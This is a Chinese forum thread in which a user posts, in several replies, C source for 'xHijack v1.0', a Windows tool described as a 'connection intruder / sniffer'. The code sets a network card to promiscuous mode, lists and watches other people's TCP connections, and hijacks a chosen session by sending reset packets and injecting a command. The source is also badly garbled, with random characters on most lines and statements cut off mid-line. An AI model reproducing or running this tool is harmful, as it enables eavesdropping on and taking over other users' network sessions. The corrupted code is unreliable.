发帖功臣 元老勋章

void ResetActionAllFlag() . _( \5 {, T2 o1 |/ z
{ 4 p& J1 P& W' x, b4 v! {
  g_dwCtrlConn = 0; * m0 h6 w+ k! m& A  x/ |
  g_pCurrCtrlConn = NULL; $ W* j0 b) i& Y* T
  g_dwAction = ACTION_NONE;
# t, T7 `7 K+ R} & c3 u2 R& j: ^( y
; A9 j# H* H0 Z2 O: |* S' N, g
// + {2 ~3 w+ W: B* _- v" u5 C+ s
//功能:处理Ctrl+C和Ctrl+Break事件
% ~; d/ z; M$ n6 ]" e: M//   A. X! [% k9 g; {3 k. O  [2 F( m
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
7 k+ u6 w% G8 n4 N! x+ c{
. A$ W# M6 q- G# {8 ^( W  switch(dwCtrlType) 4 E8 P  y8 n& H" M$ d4 N0 h! F1 A
  { ! U4 Q/ u, o. |8 M
    case CTRL_BREAK_EVENT: + R6 Y# Q$ R0 i$ G
      //reset action all flag
. J0 }& c5 @! e1 O5 k" d      ResetActionAllFlag();
2 Y6 c& B$ M% s& T8 L      break;
  t& U" _2 ]- |9 d* z2 {    case CTRL_C_EVENT: & w! @: p* P9 x. E
      //terminate all thread
5 ^0 _3 p8 G& P: M  [      TerminateThread(g_hThread[0], 0); : f- l/ B2 T. U$ I' t
      TerminateThread(g_hThread[1], 0); ' b* H& u. i! ~
      TerminateThread(g_hThread[2], 0);
: C" J. m, P5 k# R5 |      TerminateThread(g_hThread[3], 0);
7 f4 q/ i7 d; n! ~$ I1 O" |      break; / k% d( w0 N1 O3 V& F/ g
    default: 5 D7 L3 \8 a0 r  f- y; O) _% Y# |* j
      break; ! ?7 D5 m0 f+ g& i1 ^2 o
  }
* X3 V% T; d) \  return TRUE;
7 r5 T% s/ U6 T$ _3 |}
2 p$ P( T4 R* j+ y3 ?' G9 ~" L5 g$ m8 Z* c% p- _
// 7 s" Z6 D7 {( x" Z
//功能:处理用户输入 1 j9 i  ?2 N# x, n
// ; O6 G. ^, P) c2 R* S  v9 p6 V
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
* i1 q+ l/ ~# t. P{ 8 }$ N, l( a2 z. Z
  DWORD  i; . R) X5 w+ f' P; z* R( V! D
  char  szBuff[16];
- ^& Z  |# a: {, R; y
5 H' p: ^7 R1 \3 W& T* w  X( {  *lpCommandPos = 0; , y2 @* M) S4 y4 W' K
  for(i=0; i<15, i代码比较乱 / D# i1 L/ ]" a9 n2 o9 |. P
// ) B( X& @2 v# Q# Y% G$ q! g
DWORD WINAPI InterfaceThread(LPVOID lp) ! F5 ^' M. W5 N6 p0 q! [' R
{
- L8 W; p* M+ _8 j3 z) I3 s/ R8 B  char  szHelp[] =  "l\t\t<-- List all connections\n"
8 l0 u) }2 |& ~+ p# t" ^4 K' b9 m            "r x\t\t<-- Reset the number x connection\n" 5 T1 C9 T. ?6 U( t
            "w x\t\t<-- Watch the number x connection\n"
: B1 n5 N' i0 X  [            "h x command\t<-- Hijack the number x connection to execute command\n"
# ]9 n: ~* j+ ]  O1 _1 c1 U            "[Note]\n" 4 W( _# B6 `! o- k  W0 b9 a
            "Ctrl+Break to clear all action\n" ' b# X* R' X1 `# J% j7 l
            "Ctrl+C to exit\n"; " ?& n- z( t0 I
  char  szPrompt[] = "\nxHijack>"; ! y/ w8 I, X( {0 |$ H- d5 }
  char  szBuffer[128]; - v$ y' u2 d$ h
  DWORD  dwPos;
  ^2 x9 f2 @/ v- S* s. l" e- \* t  PCONNINFO  pTmp;
, i8 g2 ?- A4 s5 ]* N2 I# _. E4 y8 R( {7 A! b* B1 Q( U% u& Q
  while(1)
' k" o* s8 [6 ~9 P  { / g; A, Y2 o6 a* {1 Q
    gets(szBuffer);//不考虑buffer overflow 5 Y! U% {& ^* Y/ \) V
    switch(szBuffer[0])
. }' q0 |! P, b/ \# ~0 f8 `    { / K4 x7 C1 o8 |" y9 t" h
      case 'l': ( h: i% g- B* M1 n
      case 'L': 8 r( k( B' V. y
        ListAllConnection(); 6 g, F1 r2 `/ `' R; k$ t
        break; . i$ Z' ^& `. Z& w( o+ Y/ ?
      case 'r': & M, F; x, k6 |" G9 v) E
      case 'R':
0 N8 ~+ [0 x4 t) }5 |  k2 L! X        if(strlen(szBuffer) >2)
- w+ B$ T# P% B5 B; m        {
' v) O8 U' c" X% q- k          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
( v0 c! K+ j9 K          g_dwAction = ACTION_RESET; + J; I: x' B! V5 K
        }
, W0 C/ L5 S, y        else printf("%s", szHelp); ! [5 l, f- ?; s! U. E
        break; ' G( B. g1 N) A5 ]$ K, ~& Y
      case 'w': ! h5 q1 r; {8 y, d4 F2 R. M
      case 'W': 6 q/ a5 k6 h: W3 p! y
        if(strlen(szBuffer) > 2) ; Z) \% v2 Z/ X: s$ l* l. i
        {
2 L1 x$ X+ P+ q1 g0 q  w3 ]          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); * W( u' s2 h/ A
          g_dwAction = ACTION_WATCH;
7 H5 r2 s) Y7 p8 H        } ! e1 y3 \$ q* u8 ^/ ^( T
        else printf("%s", szHelp);
& P5 {  N0 y) g. X$ V. A: S+ w        break; 1 G+ F6 _1 e3 q/ o7 i
      case 'h': 3 l. F  ^! U3 x) ^
      case 'H'://h 1 xxx " Z5 e; f3 m2 U" G; o, f
        if(strlen(szBuffer) > 5) " b! E- [  ~! D5 A  d+ c+ V
        {
  |6 [4 b, E- H( e. u1 k          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); ! ?7 J3 P; d1 J0 S$ R0 S/ ~/ ]  L
          //如果command第一个字符是'或" 9 C; F+ d. i& D: m
          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
/ L' {: i8 ?) L! ?2 \9 y          {
# @+ W5 d* n( g  U1 H            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
! e) s5 o& v6 ~) a) h            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
0 Z" G1 |$ V* o& |" O6 P          } 1 [, k" M% j7 R+ B: x1 z8 o
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
1 F9 W# c& s$ h/ G6 ]- t  Z          strcat(g_szCommand, "\x0D\x0A");
' U' F6 Y1 l; e% C' z          g_dwAction = ACTION_HIJACK; - V1 d6 @- q! `  v
        } - e6 z8 v" l4 Z9 x# C
        else printf("%s", szHelp);
7 I% |0 A; @* H2 E+ q( q8 A# X  g        break; . ^% ]& d1 X" P( i$ c
      default:
; v3 w- V2 F  H! V        printf("%s", szHelp); 8 w; q4 h0 m( ^+ ]& W# c
        break; / B8 W! a; f6 f1 Z3 x* D
    }//end of switch
! @$ v  g, T  [6 q& C6 W    //find the specify ident's struct point
4 }- D( |, d) Y, z    if( (g_dwCtrlConn) && (g_dwAction) )
  }3 p. P# y$ c9 S7 [0 \    {
" \; T5 _/ u( U/ D0 B5 V      g_pCurrCtrlConn = NULL; $ p/ @4 D. G, E
      pTmp = g_pConnHead;
4 u0 Y% X6 Z1 T* t8 [      while(pTmp)
2 T) J- g( h, u* O7 ~) j4 w$ r      { 9 H8 o9 M+ m1 M3 \9 D! E4 G8 y8 x
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) ) . e  T0 O" n0 y
        {
3 }' Q. N8 |( [: F  ?; l          g_pCurrCtrlConn = pTmp;
2 P/ Z8 K) X7 ^$ w% O          break; , j, A/ Z. T, M  }' _
        }
0 u8 f" P- ^* k, V7 _- \        pTmp = pTmp->Next;
" f+ y4 r/ W7 R7 A* x. b      }
8 p) P% ?* a2 V$ p3 s# c/ f* X      if(!g_pCurrCtrlConn) 9 h/ K4 {/ Y. ]3 a4 F/ F: y7 O# t# [
      { , R" a% [5 @$ P: m1 ]4 w4 w! P
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
7 h+ w/ o/ w6 l; Q% m! D: P9 o        //reset action all flag 0 @2 K) k) [9 K- d  p
        ResetActionAllFlag();       4 |- T# g' `# z& a# Y
      }
8 M+ E9 B1 @& a* f! f6 L    } ' Y/ w: z8 |) O$ C
    if(!g_dwCtrlConn) ResetActionAllFlag(); 6 M. w( C. `, f1 R% ]) E
    //显示当前用户所期望的动作
/ o- y$ }; o+ I; |5 {    printf("\nCurrentAction:");
9 l8 x1 d) |& P1 G4 z7 x    switch(g_dwAction) - n* O" o4 P6 R8 Z/ _
    {
* y0 F' u3 r. V, ]      case ACTION_WATCH: + c% n( G  ]$ ]6 t3 [
        printf("ACTION_WATCH");   ~. {5 {0 O- ]- x  z
        break;
2 k: F  [" @; i" L      case ACTION_RESET:
7 Q) \# h$ l& C* g+ R        printf("ACTION_RESET");
1 G( t. K$ e2 k        break; 1 N6 s; a1 d: {  v
      case ACTION_HIJACK: . X! G. U/ y# P. n( i* r3 {
        printf("ACTION_HIJACK"); # e5 k  f4 Z# n1 H- c+ h
        break;
" Y' n7 U9 n3 U  c  x; y      default: , w. S* H: a; x
        printf("ACTION_NONE"); ! N5 f2 u. L. a4 c
        break; ; N# k; V: e  ]' T/ S, H
    } 7 G- t, f. c3 k2 v, B3 Q
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
5 q4 w2 q! f) b0 J  }//enf of while 3 F  Q( i* w5 @% x' D# R( u
  return 0; - I, R0 |( W1 i) N$ K8 o$ j6 t, P. G
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// + X) |6 E8 r) V# N" }7 K! t1 w//功能:列出当前所有连接 3 g: |; Q+ _+ b/ x# |& A // 7 t0 I1 y- J h+ Y, h& s void ListAllConnection() * O6 M3 h5 c9 W$ ~{ : T5 c: Y! e+ l$ f1 d PCONNINFO pTmp; ; J% Y. k' P$ }& O8 f$ I5 O SOCKADDR_IN saDest, saSource; - a- e2 w2 h) z. c4 B3 n. ^7 _ pTmp = g_pConnHead; # }* W+ B' P# K7 h/ B3 i5 ] while(pTmp) _% Y/ }8 r6 k9 w% x& k% T { + D( @5 w% _ F if(pTmp->bActive) ; ~4 w& a/ H4 m- L5 ? { 2 U7 k* E7 c2 N2 E [& | saSource.sin_addr.s_addr = pTmp->dwServerIP; ( ~( `3 ]* t1 O* ~8 n9 c$ |1 F saDest.sin_addr.s_addr = pTmp->dwClientIP; & n4 e3 _! K6 [2 C printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ( C: s% p9 b8 `2 l ntohs(pTmp->uServerPort)); + {3 ~! d0 w6 M4 z! A' z printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); ) }3 {! x% d( C" i0 x# s } 6 ^1 \5 y& y7 N6 ?: r: z pTmp = pTmp->Next; ' F$ F# t/ e1 U$ v3 R* _& _ } # [* c3 M$ i% u: U+ m } . ]5 B. G. C/ r& @4 _ 2 r- q* b) s8 G4 \) j// # R% Z2 D: e; l4 c5 Y7 D4 ^ //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 : @& f7 c3 e) L; c// # a' o7 v* h6 x2 \0 ^$ m9 hLPADAPTER InitAdapter() ' V6 J4 Q/ R' a0 M2 t+ C{ % s/ X. K6 @# l' V LPADAPTER lpAdapter; , ^! s9 |% N! t' D- n/ W9 F static char AdapterList[Max_Num_Adapter][1024]; # v9 \+ P7 m2 d! ?9 C8 I char szSelectAdapterName[512]; 9 b- Y7 D. c' b+ |: p& H r WCHAR AdapterName[2048]; 3 ~6 F; X( S* }! x5 ~# m5 h Z WCHAR *temp,*temp1; 0 Y9 U. M. l- l% i! D ULONG AdapterLength = 1024; 5 k& g0 k' [: p/ c X/ X int iAdapterNum = 0; 9 X' L' ^" }: y: H! n6 ]9 Y int iRetCode, i; 6 U* t) v2 f, M! R" G1 x* m int iAdapter = 0; ; c) `' j5 z% V+ T7 `' ? ULONG ulLen = 0; * m( u3 g, y' K* ]2 m" e DWORD dwRet; 8 q) F C4 t3 q' i5 `( H PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; 3 V$ P) |+ g2 j% P+ n2 U8 U- x PIP_ADDR_STRING pIPAddr; ; O9 T* z8 c8 n& i$ o+ U$ v' z0 }4 W6 c/ l, ^ //Get The list of Adapter , ~* \; i. o+ B# A; r, c if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) ; G* _4 P3 S, i. T2 K! r( @1 n' U { . d6 h! _' M% s W6 y- _ printf("Unable to retrieve the list of the adapters!\n"); 9 Y# j# \" x" G/ L, C2 z* u return 0; 4 n$ R$ @5 v; W } ( ^/ g( t3 }. Q6 [% q: u5 J temp = temp1 = AdapterName; . V/ g1 z. [5 E3 i U i = 0; $ }6 s" q. s+ N. Q) u) t2 \5 b while ((*temp != '\0')||(*(temp-1) != '\0')) / i' u) q- \* @5 {1 T9 M2 H { + W2 F/ h6 i: V. }! n) n9 C3 Y. h: l/ D if (*temp == '\0') 1 T% b( d2 C. _8 O { $ v) h0 b/ L3 ^' g ? memcpy(AdapterList,temp1,(temp-temp1)*2); + ^9 u$ Y: Q( A. N printf("%d - %S\n", i+1, AdapterList); 5 d j8 d- P* x temp1=temp+1; ) j) k. R: X3 d) r; R i++; 9 |8 F/ s& {9 e8 @8 [/ ?4 \9 o8 |, } } ( T( f8 [) m+ ^3 e# e* U# E( M temp++; # t4 J$ j5 ~# H+ N9 J } , ~1 \7 c& V& N) q; l //choose adapter ' W. z: H% y6 s g0 r0 b% P) C5 R while((iAdapter <= 0) || (iAdapter > i)) 3 e, d' A3 }9 q' f { 2 u O: i: X4 k" _9 z5 o& ] printf("\nPlease choose your Adapter:"); ; ~! a8 a. u* n) [0 s scanf("%1d", &iAdapter); / a* i; {6 z( x$ u } W9 }0 m+ J8 o3 n; v" P printf("\n"); 0 e3 R. M# h1 g+ p //---------------------------------------------// 5 e6 F! T' u' v5 w+ @, ^4 M //这里调用iphlpapi来取得本地ip_addr和mac_addr * N3 h1 ]8 X; N8 ? sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); / L$ _6 y c; Y/ [/ Q' R3 R dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); - r2 X% b7 v* [5 k* ? if(dwRet != ERROR_BUFFER_OVERFLOW) " F2 y8 `% i8 B. X; w { ) U1 T' u" v8 M! z, D& Z printf("GetAdapterInfo error:%d\n", GetLastError()); / ` b$ d0 C: \8 r* P H return 0; 5 z: r+ o: p, ^' A } ) K7 A4 @. _+ P8 e# R# ?# h& [ E pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); , {! t9 b# A6 ^" l if(!pAdapterInfo) : ]8 Y. O k4 r( I4 U- T# s5 M { & l2 T4 K% I- E" T U printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); ( H$ {" U4 N4 d& N6 n7 ^ return 0; $ `# B: l) g. I+ J: Y) X+ @ } - q% X4 S9 P$ _- T7 S6 w- n dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); & v3 @2 m9 o: x% J1 p if(dwRet != ERROR_SUCCESS) 7 T: I, b6 Q0 h5 m { * {' {" }" n! E2 ^, |6 J, W" v printf("GetAdapterInfo error:%d\n", GetLastError()); ; `6 w7 N4 N3 W% ?. d/ ` return 0; " M8 Z3 ~0 u- m% A7 y4 ~ } , |1 |: \2 U- l6 E3 E pTmp = pAdapterInfo; % x+ r Z1 v9 K8 V while(pTmp) ( ^: t2 ~" x, ]- f( F! v5 | { ( s4 F" k% S4 ] //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 9 K, m+ X7 _( f& |; H- Q* b: \% ~ { 9 ]% x8 P4 k9 H3 m z, I8 K* S //found it,get own adapter mac address $ }' ?0 `8 P' C5 X7 B- u9 T memcpy(g_szOwnMAC, pTmp->Address, 6); 2 O7 Q- J" F4 B3 `# ^% T$ ^ //get ip address & c3 O2 Z4 C* ~ u' b pIPAddr = &pTmp->IpAddressList; 0 i! ?7 |8 u! N9 M$ z while(pIPAddr) . M6 _! |7 ~8 p; E { & c) m6 \: Q, x; l* y2 [ g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); ! w# q4 S4 F; s; N pIPAddr = pIPAddr->Next; % K4 B0 O9 m. _- }2 \2 p2 ^0 U2 Z if(g_TotalIP >= Max_Num_IPAddr) break; 7 d2 Y3 ~! f* V) K! g } 6 H6 _- K, K/ x break; 3 D! e3 H- @3 ~. G% o } " u$ f* q; S" q( ^ pTmp = pTmp->Next; , O% _( I! H' L' E' M, U } : y ~2 `( L6 b: Y R' h* R/ f& k free(pAdapterInfo); ) Z/ V- _! ]& z. Q& z //not found,return zero ) B4 p7 d1 v/ |3 d; ?; [0 l if( (!pTmp) || (!g_TotalIP) ) return 0; ) t, E8 w) B6 L v9 p1 I8 @) N1 ~. t //---------------------------------------------// 5 |5 x& N7 b# H5 v/ h) J0 u' Z" M //open adapter , T B! S: Q" w. h% I( n lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); N/ c0 l( r A5 @4 V7 r if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) ) o3 v& w7 T( K$ | { 8 I% {# k- D# |" z7 l( m, V& ] iRetCode = GetLastError(); 4 f \- q7 D }# r* R. ~3 u F: ~ printf("Unable to open the driver, Error Code : %lx\n", iRetCode); 4 H% t0 ]: \" p% f return 0; % q4 b. x) Z- |6 { } 5 q' @! }+ L& G // set the network adapter in promiscuous mod , T5 _, n( P7 q/ F if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) 9 W8 i. ?& [3 @4 m6 I { 7 P4 V& e6 {# a; y" j1 A7 G" T printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 8 B1 E$ v# }9 Y% X if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) ! R: L% N4 g* c+ } { 9 n+ O- Z$ S4 o* c T1 ^ printf("Unable to set ALL_LOCAL mode!\n"); O% o. f' {+ b/ ?+ H/ A return 0; * Q/ r ~- d3 Z8 U H2 ? } / Z# U9 n( W# ~8 R' U } / }/ O. F7 Y3 F7 L // set a 512K buffer in the driver % q( r% I0 C3 B/ Q! @' D if(PacketSetBuff(lpAdapter, 512000) == FALSE) 2 [5 }) o T* q: {- N { / n: w0 j: K9 { printf("Unable to set the kernel buffer!\n"); ; j7 f( j7 v3 ^* b) I return 0; ' x8 z; F" B: ]+ Y4 \- N3 ]! f } # g% T8 O. D- }- y P5 L4 A4 a: a0 S // set a 1 second read timeout ! z* u3 w0 C8 [4 m0 p# \: F if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) ' J6 d% M! F" B; V, a' _ printf("Warning: unable to set the read tiemout!\n"); 5 m ] l1 x5 f) v* g if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 4 u5 N/ }0 O/ N" ]- h printf("warning: Unable to send more than one packet in a single write!\n"); * r9 M, y5 |/ f* n4 ~5 W //设置发送的packet $ \0 e3 p7 O: u/ p g_lpSendPacket = PacketAllocatePacket(); / V5 n2 |. E2 O) |! h6 q% o0 g if(g_lpSendPacket == NULL) 2 x9 {+ J+ I4 i: _4 b { ' d7 A. K# l$ m: H* f printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); * |) s& p+ J- I% s0 E$ ~$ _2 ?. ^ return 0; ! d ~4 {, b% V3 h+ @4 J) J } 5 w/ _, L0 ]% ^4 B ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); 7 b: ?9 |1 {! V# Y1 U3 m! ^0 ] PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); / q% N' X/ q9 O* X2 h) _ return lpAdapter; , F# }* m' Q: H7 H: e! L } * e0 S% T# G* ^+ M4 G 2 ?, Z: L( L, F# y//功能:帮助信息 1 x! x+ [( N, W, ]% }7 P- {* [ void usage() 3 Z7 p) C; a! j* z. r+ ~ { 3 f) J, ]& s5 l1 M printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 3 A. @3 M3 p% c- J "By eyas 2002/8/19\n" X5 g) h3 o R3 K# W "http://www.ey4s.org\n" 1 I: M/ \0 T5 T' f* j5 F& i "Thanks to Refd0m and shotgun\n\n" * m4 M: |- e Q9 R "Usage: xHijack ServerSide ClientSide\n\n"); * n! r1 `4 ?6 y% H2 o } % ]/ H1 M& a2 P7 T& a& J3 A' x/ J 9 K/ w" s# t) { // ! U/ b) {' ]3 t8 C4 r7 t. U6 {//功能:显示数据包的一些详细信息 t) ]* f) i' Y4 Z6 | // $ }" T5 t6 X1 B8 u3 w6 g& {% j5 u, O VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 0 }$ Q/ R/ I ~" S% _5 d0 M{ / p2 |. r! r4 w' D0 X SOCKADDR_IN saDest, saSrc; ' _. S/ B4 |! p( B/ X unsigned char FlagMask; ( |; i7 p' B( b4 e) M, O0 T9 H" W3 x int i; 1 r l+ r* w0 w! i2 z+ Z/ ^3 v0 f4 T saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; - |. Z6 }. Q2 M3 k8 D7 ? saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; - A: J" B% p5 c! c. i) p printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); 9 i. A- l0 ? O9 | printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), 1 F3 ?5 S4 A" P L ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); / Q1 o5 q. ^& s+ q //display TCP flag & b/ m! o+ W* U: J for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) 6 G0 s3 n; V- W1 C5 z# D- k8 s { 8 X& D% y) L [0 o! v if((pTCPPacket->tcphdr.th_flag) & FlagMask) 4 Y. t% t% @ y0 H6 u8 P5 @0 q printf("%c", g_szTcpFlag); 4 I) R& ~- `8 r$ o& m else printf("-"); 6 E; \) q8 D [% }! c } " ~' a6 s0 G$ l# S$ j printf("\n"); 6 {( s5 B! [& M" }7 s" p' s6 X //如有需要,可显示更多详细的信息 , R- U) S8 Y+ }7 `' e if(bDetail) ! Q3 v( ^7 C5 B" r. p+ f printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ; @ A! G3 M8 {: v8 q& T: @+ H# O } + c4 e8 b) f) C9 `; `' ]7 _ " }# a+ B( [) ?' q4 b; b// 7 x% O/ S; @( W$ Z4 |5 q //功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 9 u: k" X+ {4 c- }1 m7 w1 z: T// ( S7 t2 |! G$ k3 T8 m6 m DWORD WINAPI AnalysePacketsThread(LPVOID lp) \' H% P& j4 V) P5 A { * \- |- R& J, }: J2 O ULONG ulBytesReceived; ( P, \4 I6 Y: u USHORT usDataLen; : C' n, P. g0 D //USHORT usIPHeadLen, usTCPHeadLen; - E4 D0 v9 S, `8 r char *buf; $ H0 W S/ P7 h# X: _$ N u_int off, i; + d8 ~. S; b( V. y* M( F, R, n PTCPPACKET pTCPPacket; 1 Z& z! G1 L: _* b struct bpf_hdr *hdr; - q) j8 {% |" ~2 n# Q! ?8 N( Y LPPACKET lpRecvPacket; 4 }. z8 e. I1 B/ s' ^1 x char szPacketBuf[256000], *pStr; 4 b. }) x0 ]% A+ Z# j4 i BOOL bDeleteNode, bAddNew; 5 ^/ m U0 l# |% A1 I4 ? DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 I; a) ?+ i$ E S# I5 m3 K BOOL bClientToServer;//数据包是否从客户端发送到服务器端 $ ^ b( a# G3 n* [1 J: t j- v9 ]1 @7 I7 D //设置接收的packet 4 V! Z. C! s* X M% N6 A- `" K' G lpRecvPacket = PacketAllocatePacket(); 9 o, Y4 v# [6 f P$ }' D if(lpRecvPacket == NULL) * }+ t+ j5 C: b7 F% Z. t1 C { - e2 y* Q) Y. N: B8 K2 S- I printf("Error:failed to allocate the LPPACKET structure for recv.\n"); ; I2 _' M9 V, K5 z3 |+ i% z5 W return 0; . K! z% C3 k( e4 X( k- X# f6 n } - b2 g/ p# J+ b8 Y# c6 j* r% [ ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); ( M4 }, J' L: z1 L PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); , v+ c: \3 h) \4 b4 s while(1) ) y& R. {: n, j' H { 9 T3 Q& @/ H G5 p6 m' i4 n // capture the packets 7 x' X. G# G9 q. t% } if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) 4 d* G+ Z* ~+ q. @; T, v( O/ R2 I { 3 K* ?1 t$ c* u( m% _3 b printf("Error: PacketReceivePacket failed.\n"); 8 n( P/ Y% s+ _; |% t break; # b4 p; u) J: B8 x- d# f } / x: F9 `& h( a ulBytesReceived = lpRecvPacket->ulBytesReceived; # m' Y! V6 j- f buf = lpRecvPacket->Buffer; ' w' o+ ?8 e* y* ` off = 0; ! A1 r/ S, V! Z3 E I& s while(off < ulBytesReceived) % j! B l/ M8 r+ c1 Z7 u# _ { ( T$ \: D0 U0 g/ b5 K) I hdr = (struct bpf_hdr *)(buf + off); $ r# }! m1 J! U6 Y0 @! Q off += hdr->bh_hdrlen; 3 v" x8 u' ]9 s" { pTCPPacket = (PTCPPACKET)(buf + off); " h: T5 k' }& q g off = Packet_WORDALIGN(off + hdr->bh_caplen); ; o) ]& m1 F2 j- A //不需要处理自己发出的包(转发或本机发送的) * u- u7 p5 h; b1 w( x if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; , e( `$ e _7 S5 x Q //检查是否IP包 V, T2 M/ H1 p: _1 N if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; % r* o* R6 A; J; C! D0 M0 A: h //检查是否TCP包 . E. t+ \5 K2 ~, k' u if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; C8 \" d+ b/ I/ F9 s //也不处理DestIP是自己的包 " v$ w# h4 D9 K; p1 a4 y for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); 1 X% y* J/ D( b6 @) l
            //reset action flag 3 U1 {% {5 N0 L5 j) ?
            ResetActionAllFlag();
, j5 h' Y: ~9 N  ?' b4 m          } * k; D) M2 @/ w) W# ?$ X, A' k/ H, u
          //start hijack 0 U% E( _. V! d9 G
          else if(g_dwAction == ACTION_HIJACK)
2 ]# f. S+ d( `5 k2 W          { 4 D# [- U' s4 Y( v! }  S/ C
            //send rst packet to client
, @" p& Y1 k& _  w' u2 s            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq); ' q5 l, b+ a1 v/ w5 c6 Y7 l+ @3 c
            //send hijack packet to client & z% `% e3 }) n! Z$ _1 O1 a
            SendHiJackPacket(pTCPPacket); 2 _8 ?3 v1 L+ S/ \# U. k* h
            //reset action flag
$ ^( n1 s" _8 D; u- w            ResetActionAllFlag();
4 R: y/ ~; \/ ~! R1 M          } $ A: a) R* l- F* u
        }
, p7 s- P: v. }" Z! e0 n        //show the tcp data
) a, H# M# b) @        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
( A- _& @( y3 Z% r7 X        {
" b2 F- W" Z/ b* }" g' z          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); / d0 E- v# m& W; w+ {/ ?5 ?
          //暂不考虑IP、TCP头不是20字节的情况 / g: Y( H; e$ Z& Z) }. w
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; " S! Y' M: f/ E4 ^1 c& N
          pStr = (char *)pTCPPacket + 54;
  Q( S5 z& g* r5 c* h          for(i=0; i        }
# O" l: i3 H8 }  ?      }
( W- K: x1 k3 V" ?      //debug output 9 P# |; ?% h* ]! B
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); 3 N  k# r. z& F+ U
    }//end of analyse packets while % O- h( m6 u1 J% o" ?
  }//end of recv packets while & w- C3 m. Y  Q2 Q  s# v
  PacketFreePacket(lpRecvPacket); : e4 K, W2 S1 a
  return 0;
- Z( ?7 J4 q4 U9 h/ T! ]4 H8 m} & W/ n1 x6 a" _0 e: R$ ]

) w& `6 d  o7 A* Y
9 Q: i( R! T2 L* b9 B" ]# @' `//
9 F0 C$ Z5 u' i9 @! L" A//功能:操作记录所有连接信息的单向链表
) `# T6 O/ Z3 {- t8 x//
* u. h) z" ^  {" H1 u" d* ^# ~+ c6 @DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, # R9 S. L0 g" s" _9 Z9 p" U
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
3 F4 w! ^: r! \/ K0 N5 {+ u# U& k{ / y- I) `7 \2 S9 ^1 n
  PCONNINFO  pNew, pTmp; / ^) S  {$ ?2 ~  c3 ?7 W+ }
+ w0 j4 X. ?3 r7 _  B! ]
